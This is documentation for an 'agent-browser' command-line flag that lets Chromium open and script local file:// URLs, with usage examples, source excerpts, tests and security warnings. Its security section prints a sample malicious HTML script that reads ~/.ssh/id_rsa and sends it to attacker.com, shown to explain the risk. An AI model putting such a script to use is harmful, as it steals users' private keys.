File Access

Open and interact with local files using file:// URLs

Overview

The --allow-file-access flag enables agent-browser to open and interact with local files using file:// URLs. This is useful for:

• Viewing local PDFs
• Testing local HTML files
• Accessing local documentation
• Scraping content from local files

Note: This feature is Chromium-only and disabled by default for security.

Quick Start

# Enable file access and open a local PDF
agent-browser --allow-file-access open file:///path/to/document.pdf
agent-browser screenshot report.png

# Open a local HTML file
agent-browser --allow-file-access open file:///path/to/page.html
agent-browser snapshot

What File Access Enables

With --allow-file-access, the browser can:

1. Navigate to file:// URLs - Open local files directly
2. Load local resources - Images, scripts, stylesheets from local files
3. Access other local files via JavaScript - XMLHttpRequest, fetch to file:// URLs
4. Read local directories - If the file system structure is linked

From src/browser.ts:1324-1328:

// --allow-file-access-from-files: allows file:// URLs to read other file:// URLs via XHR/fetch
// --allow-file-access: allows the browser to access local files in general
const fileAccessArgs = options.allowFileAccess
  ? ['--allow-file-access-from-files', '--allow-file-access']
  : [];

These Chromium flags are added to the browser launch arguments when file access is enabled.

File URL Format

Unix/Linux/macOS

# Absolute path
file:///home/user/document.pdf
file:///Users/user/Documents/page.html

# Relative paths are not supported - use absolute paths

Windows

# Drive letter followed by path
file:///C:/Users/user/document.pdf
file:///C:/Users/user/Documents/page.html

# UNC paths (network shares)
file://///server/share/document.pdf

Important: Use three slashes after file: on Unix/macOS, and include the drive letter on Windows.

Security Implications

Why Disabled by Default

File access is disabled by default because it allows JavaScript to read local files, which can expose:

• Private documents
• Configuration files with credentials
• Source code and intellectual property
• System information

What Can Be Accessed

With --allow-file-access, a malicious local HTML file could:

<!-- Malicious local HTML file -->
<script>
// Read other local files via XMLHttpRequest
fetch('file:///home/user/.ssh/id_rsa')
  .then(r => r.text())
  .then(data => {
    // Exfiltrate private SSH key
    fetch('https://attacker.com/steal?data=' + encodeURIComponent(data));
  });
</script>

From the test suite (test/file-access.test.ts:81-112):

it('should allow file:// URL to access other local files via XMLHttpRequest', async () => {
  await browser.launch({
    id: 'launch',
    action: 'launch',
    allowFileAccess: true,
  });

  await browser.navigate(testFileUrl);

  // With allowFileAccess, XMLHttpRequest to local files should work
  const result = await page.evaluate(async (targetUrl) => {
    return new Promise((resolve) => {
      // XMLHttpRequest is the traditional way to test --allow-file-access-from-files
      const xhr = new XMLHttpRequest();
      xhr.open('GET', targetUrl, true);
      xhr.onload = () => resolve({ status: xhr.status, text: xhr.responseText });
      xhr.onerror = () => resolve({ error: true });
      xhr.send();
    });
  }, testFileUrl2);

  expect(result).toHaveProperty('status', 0); // file:// returns status 0
  expect(result).toHaveProperty('text');
});

Safe Usage

Only enable file access when:

1. You control all local files being accessed
2. The files don’t contain sensitive data
3. You trust the JavaScript in the local HTML files
4. You’re in a sandboxed environment

Never enable file access for:

• Untrusted local HTML files
• Files downloaded from the internet
• Multi-user systems where other users have local files

Use Cases

PDF Viewing

View and screenshot local PDFs:

agent-browser --allow-file-access open file:///Users/me/report.pdf
agent-browser screenshot report.png
agent-browser pdf report-printable.pdf

Local HTML Testing

Test locally-built HTML files before deploying:

# Build site
npm run build

# Test locally
agent-browser --allow-file-access open file://$(pwd)/dist/index.html
agent-browser snapshot
agent-browser click @e1

Documentation Scraping

Extract content from local documentation:

agent-browser --allow-file-access open file:///usr/share/doc/package/index.html
agent-browser get text "#main-content"

Local File Workflows

Combine with other tools to process local files:

# Convert Markdown to HTML
markdown README.md > README.html

# View in browser and screenshot
agent-browser --allow-file-access open file://$(pwd)/README.html
agent-browser screenshot README.png

Environment Variable

Use the AGENT_BROWSER_ALLOW_FILE_ACCESS environment variable to enable file access by default:

export AGENT_BROWSER_ALLOW_FILE_ACCESS=1
agent-browser open file:///path/to/document.pdf

From src/daemon.ts:460:

const allowFileAccess = process.env.AGENT_BROWSER_ALLOW_FILE_ACCESS === '1';

Configuration File

Enable file access in your config file for persistent access:

{
  "allowFileAccess": true
}

Save to ~/.agent-browser/config.json or ./agent-browser.json.

Chromium Only

File access is only supported in Chromium. From src/browser.ts:1315-1318:

if (options.allowFileAccess && browserType !== 'chromium') {
  throw new Error('allowFileAccess is only supported in Chromium');
}

Attempting to use file access with Firefox or WebKit will fail:

# This will fail
agent-browser --allow-file-access --browser firefox open file:///path/to/file.html
# Error: allowFileAccess is only supported in Chromium

Compatibility

Works With

• Headless mode (default)
• Headed mode (--headed)
• Custom user agents (--user-agent)
• Custom browser arguments (--args)
• Screenshots and PDFs

Does Not Work With

• Firefox (--browser firefox)
• WebKit (--browser webkit)
• (File access is Chromium-specific)

Testing

The test suite includes comprehensive file access tests (test/file-access.test.ts):

Without File Access (Default)

it('should fail to load file:// URL content by default', async () => {
  // Navigation works, but JavaScript can't access local files
  await browser.navigate(testFileUrl);
  // ... XHR to file:// fails
});

With File Access

it('should load file:// URL with allowFileAccess enabled', async () => {
  await browser.launch({
    allowFileAccess: true,
  });
  // Navigation and XHR both work
});

Common Issues

Path Format Errors

# Wrong - missing third slash
file://home/user/file.html

# Correct - three slashes for absolute path
file:///home/user/file.html

Relative Paths

# Wrong - relative paths don't work
file://./document.pdf

# Correct - use absolute paths
file:///Users/me/document.pdf

Windows Drive Letters

# Wrong - missing drive letter
file:///Users/user/file.html

# Correct - include drive letter
file:///C:/Users/user/file.html

Permission Denied

If the file exists but can’t be read:

# Check file permissions
ls -l /path/to/file.html

# Make readable
chmod +r /path/to/file.html

Alternatives

Local Web Server

For testing local HTML without security risks, use a local web server:

# Start a local server
python3 -m http.server 8000

# Access via http:// instead of file://
agent-browser open http://localhost:8000/page.html

This avoids the need for --allow-file-access while still testing local files.

Temporary Directory

Copy trusted files to a temporary directory and enable file access only for that directory:

# Copy files to temp dir
mkdir /tmp/safe-files
cp trusted.html /tmp/safe-files/

# Access with file://
agent-browser --allow-file-access open file:///tmp/safe-files/trusted.html

Implementation Details

File access is implemented by adding Chromium command-line flags during browser launch. From src/browser.ts:1323-1333:

// Build base args array with file access flags if enabled
// --allow-file-access-from-files: allows file:// URLs to read other file:// URLs via XHR/fetch
// --allow-file-access: allows the browser to access local files in general
const fileAccessArgs = options.allowFileAccess
  ? ['--allow-file-access-from-files', '--allow-file-access']
  : [];
const baseArgs = options.args
  ? [...fileAccessArgs, ...options.args]
  : fileAccessArgs.length > 0
    ? fileAccessArgs
    : undefined;

These flags are passed to Playwright’s browser launcher, which forwards them to the Chromium process.

Verification Test

The test suite verifies that file access works as expected (test/file-access.test.ts:35-58):

describe('without allowFileAccess flag', () => {
  it('should fail to load file:// URL content by default', async () => {
    await browser.launch({
      id: 'launch',
      action: 'launch',
      headless: true,
    });

    // Navigate to file:// URL - this should work for navigation
    await browser.navigate(testFileUrl);

    const content = await page.content();
    expect(content).toContain('Test Page 1');

    // But XMLHttpRequest to another file:// URL should be blocked
    const canAccessOtherFile = await page.evaluate(async (targetUrl) => {
      // ... XHR test ...
    }, testFileUrl2);

    expect(canAccessOtherFile).toBe(false);
  });
});

This confirms that navigation works but cross-file access is blocked without the flag.